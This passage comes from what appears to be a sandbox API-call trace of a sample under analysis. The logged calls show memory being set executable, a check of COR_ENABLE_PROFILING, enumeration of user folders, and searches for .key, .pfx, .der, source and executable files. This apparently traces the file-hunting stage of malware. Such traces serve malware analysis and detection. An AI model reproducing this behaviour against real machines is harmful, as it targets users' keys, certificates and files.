lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.462] VirtualProtect (in: lpAddress=0x1480844, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.462] VirtualProtect (in: lpAddress=0x1480848, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.462] VirtualProtect (in: lpAddress=0x148084c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.462] VirtualProtect (in: lpAddress=0x1480850, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.462] VirtualProtect (in: lpAddress=0x1480858, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.462] VirtualProtect (in: lpAddress=0x148085c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.462] VirtualProtect (in: lpAddress=0x1480860, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.462] VirtualProtect (in: lpAddress=0x1480868, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.462] VirtualProtect (in: lpAddress=0x148086c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.673] GetEnvironmentVariableW (in: lpName="COR_ENABLE_PROFILING", lpBuffer=0x1acec0, nSize=0x80 | out: lpBuffer="\x9ff") returned 0x0 [0038.479] CoTaskMemAlloc (cb=0x20c) returned 0x1ac50520 [0038.479] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1ac50520 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0038.482] CoTaskMemFree (pv=0x1ac50520) [0038.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x1ac090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0038.530] CoTaskMemAlloc (cb=0x20c) returned 0x1ac50520 [0038.530] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1ac50520 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x0 [0038.531] CoTaskMemFree (pv=0x1ac50520) [0038.531] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ac090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0038.531] CoTaskMemAlloc (cb=0x20c) returned 0x1ac50520 [0038.531] SHGetFolderPathW (in: hwnd=0x0, csidl=17, hToken=0x0, dwFlags=0x0, pszPath=0x1ac50520 | out: pszPath="\x8e\x3a\x5c\x55\x73\x65\x72\x73\x5c\x35\x70\x35\x4e\x72\x47\x4a\x6e\x30\x6a\x53\x20\x48\x41\x4c\x50\x6d\x63\x78\x7a\x5c\x44\x65\x73\x6b\x74\x6f\x70") returned 0x80004005 [0038.532] CoTaskMemFree (pv=0x1ac50520) [0038.543] CoTaskMemAlloc (cb=0x20c) returned 0x1ac50520 [0038.543] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0x1ac50520 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x0 [0038.543] CoTaskMemFree (pv=0x1ac50520) [0038.543] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ac090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0038.543] CoTaskMemAlloc (cb=0x20c) returned 0x1ac50520 [0038.543] SHGetFolderPathW (in: hwnd=0x0, csidl=6, hToken=0x0, dwFlags=0x0, pszPath=0x1ac50520 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 0x0 [0038.544] CoTaskMemFree (pv=0x1ac50520) [0038.544] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ac090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0038.544] CoTaskMemAlloc (cb=0x20c) returned 0x1ac50520 [0038.544] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1ac50520 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0038.545] CoTaskMemFree (pv=0x1ac50520) [0038.545] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ac090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0038.545] CoTaskMemAlloc (cb=0x20c) returned 0x1ac50520 [0038.545] SHGetFolderPathW (in: hwnd=0x0, csidl=13, hToken=0x0, dwFlags=0x0, pszPath=0x1ac50520 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 0x0 [0038.547] CoTaskMemFree (pv=0x1ac50520) [0038.547] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ac090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0038.547] CoTaskMemAlloc (cb=0x20c) returned 0x1ac50520 [0038.547] SHGetFolderPathW (in: hwnd=0x0, csidl=34, hToken=0x0, dwFlags=0x0, pszPath=0x1ac50520 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x0 [0038.548] CoTaskMemFree (pv=0x1ac50520) [0038.548] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History", nBufferLength=0x105, lpBuffer=0x1ac090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History", lpFilePart=0x0) returned 0x45 [0038.548] CoTaskMemAlloc (cb=0x20c) returned 0x1ac50520 [0038.548] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1ac50520 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0038.548] CoTaskMemFree (pv=0x1ac50520) [0038.548] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1ac090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0039.102] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x1ac590, nSize=0x80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0039.135] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x1ac590, nSize=0x80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0039.135] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x1ac590, nSize=0x80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0039.135] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x1ac590, nSize=0x80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0039.136] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x1ac590, nSize=0x80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0039.136] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x1ac590, nSize=0x80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0039.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae830) returned 1 [0039.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0039.505] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0039.506] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x1ae4d0 | out: lpFindFileData=0x1ae4d0) returned 0x1ac59c20 [0039.526] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.526] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.526] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.527] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.527] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.527] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.527] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.527] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.527] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.528] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.528] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.528] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.528] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.528] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.529] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.529] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.529] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.529] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.529] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.529] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.530] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.530] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.530] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.530] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.530] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.530] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.531] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.531] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.531] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.531] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.531] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0039.532] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 0 [0039.532] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0039.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae780) returned 1 [0039.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae740) returned 1 [0039.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.566] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.566] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.566] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.exe", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.569] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.570] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.der", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.570] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.pfx", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.571] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.key", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.572] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ico", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.572] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.htm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.573] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ttf", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.573] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.cs", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.574] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.vb", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.c", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.py", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.576] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.jar", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) 